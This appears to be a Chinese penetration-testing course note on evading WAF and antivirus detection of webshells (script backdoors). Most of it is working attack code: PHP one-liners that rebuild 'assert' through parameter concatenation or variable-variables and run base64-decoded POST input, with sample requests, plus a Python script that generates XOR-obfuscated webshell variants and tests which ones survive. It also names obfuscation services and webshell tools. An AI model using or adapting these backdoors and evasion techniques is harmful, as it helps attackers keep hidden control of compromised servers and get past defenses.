知识点
1、脚本后门基础&原理
2、脚本后门查杀绕过机制
3、权限维持-覆盖&传参&加密&异或等
章节点:
WAF绕过主要集中在信息收集,漏洞发现,漏洞利用,权限控制四个阶段。
代码表面层免杀-ASP&PHP&JSP&ASPX等
工具行为层免杀-菜刀&蚁剑&冰蝎&哥斯拉等
一、演示案例-基础-脚本后门控制原理-代码解释
二、演示案例-原理-脚本后门查杀机制-代码函数&工具指纹
WAF拦截两方面-代码函数&工具指纹
三、演示案例-代码-脚本后门免杀变异-覆盖&传参
php 传参带入
<?php
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>
http://xxxx.com/xx.php?a=ass
POST
x=cGhwaW5mbygpOw==
php 变量覆盖
<?php
$a='b';
$b='assert';
$$a(base64_decode($_POST['x'])); //$$a=$b
?>
http://xxxx.com/xx.php?a=ass
POST
x=cGhwaW5mbygpOw==
四、演示案例-代码-脚本后门免杀变异-异或&加密
php 加密变异(通杀)
http://www.phpjm.net/
https://www.phpjiami.com/phpjiami.html
php 异或运算(其他语言也支持异或)
php7版本后无assert
了
import requests
import time
import threading,queue
def string():
while not q.empty():
filename=q.get()
url = 'http://127.0.0.1:8081/x/' + filename
datas = {
'x': 'phpinfo();'
}
result = requests.post(url, data=datas).content.decode('utf-8')
if 'XIAODI-PC' in result:
print('check->'+filename+'->ok')
else:
print('check->'+filename+'->no')
time.sleep(1)
if __name__ == '__main__':
q=queue.Queue()
for i in range(1, 127):
for ii in range(1, 127):
payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"
code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"
filename = str(i) + 'xd' + str(ii) + '.php'
q.put(filename)
with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a') as f:
f.write(code)
f.close()
print('Fuzz文件生成成功')
for x in range(20):
t=threading.Thread(target=string)
t.start()
五、演示案例-拓展-脚本后门脚本类型-JSP&ASPX
Webshell-venom(ASP PHP JSP ASPX )